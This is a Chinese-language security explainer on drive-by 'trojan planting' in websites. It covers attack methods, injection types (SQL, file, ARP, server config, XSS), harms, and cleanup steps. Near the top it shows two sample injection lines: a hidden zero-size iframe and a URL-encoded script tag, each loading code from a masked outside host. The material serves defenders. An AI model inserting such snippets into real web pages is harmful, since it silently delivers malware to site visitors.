介绍
挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码(通常是通过IFrame、Script引用来实现),当用户访问该网页时,嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件(如Flash、PDF插件等)漏洞,在用户不知情的情况下下载并执行恶意木马。
方式
目前挂马的主要方式是通过IFrame与Script嵌入网马URL,比如下面的挂马代码:
- <iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>
这里通过将IFrame的width与height设置为0,使得嵌入的网马URL在网页上不可见。
- <script src=http://%68%68%6A%32***%63%6E></script>
这里Script里的URL是经过URL encode编码的。通过各种编码、混淆、客户端判断等方式来隐藏、保护网马是攻击者挂马常用的手段。除了这两种常见的挂马方式外,还有如下几种:
1、 利用JavaScript执行各种经过编码、混淆的攻击代码进行挂马。
2、 利用网页跳转、弹出新窗口等方式进行挂马。
3、 利用Flash等媒体封装的方式进行挂马。
在CSS(层叠样式表)里可以执行JavaScript的浏览器中进行挂马。
类型
1、 数据库挂马
攻击者利用SQL注入漏洞将挂马代码注入到数据库的某些字段中,如果网站页面使用到这些字段的值,并且没做适当的过滤,就有可能导致用户访问该网站的页面时执行攻击者注入的代码。
2、 文件挂马
攻击者直接将挂马代码批量写入服务端文件里以达到整站挂马的目的。
3、 ARP挂马
在与目标站点同一局域网的情况下,攻击者可以通过控制局域网中任意一台主机计算机发起ARP欺骗,并将挂马代码注入到用户请求的响应页面上,从而达到隐蔽的挂马目的。这样的攻击方式在客户端上也可能发生,比如用户所在的局域网有ARP病毒,那么用户请求的所有网站都有可能被注入挂马代码。
4、 服务端配置文件挂马
比如IIS里的文件重定向、启用文档页脚、修改IIS映射等挂马。这类挂马比较隐蔽,也是挂马常用的技巧。
5、 XSS挂马
利用XSS跨站脚本漏洞,将挂马代码注入到客户端页面以达到挂马的目的。0x04 危害
网站被挂马不仅严重影响到了网站的公众信誉度,还可能对访问该网站的用户计算机造成很大的破坏。一般情况下,攻击者挂马的目的只有一个:利益。如果用户访问被挂网站时,用户计算机就有可能被植入病毒,这些病毒会偷盗各类账号密码,如网银账户、游戏账号、邮箱账号、QQ及MSN账号等。植入的病毒还可能破坏用户的本地数据,从而给用户带来巨大的损失,甚至让用户计算机沦为僵尸网络中的一员。
修复思路
1、 通过上面介绍的“挂马常见类型”迅速分析定位网站被挂马的原因。
a) 数据库挂马:及时恢复数据库或者利用嵌入的挂马代码,搜索数据库,定位到挂马代码所在的字段值并清除。
b) 文件挂马:使用工具或者命令遍历网站所有文本文件,批量清除挂马代码。
c) ARP挂马:查找出局域网中的ARP病毒源头,清除病毒,并将相应计算机进行安全加固或重新安装系统。
d) 服务端配置文件挂马:如果上述的方法找不到挂马代码时,就应该查找网站服务端配置文件是否存在异常,并恢复。
e) XSS挂马:这类挂马使用不广泛,修补网站的XSS漏洞即可解决问题。
及时检测并修补网站本身以及网站所在服务端环境的各类漏洞,从而在根源上降低消除网站被挂马的风险。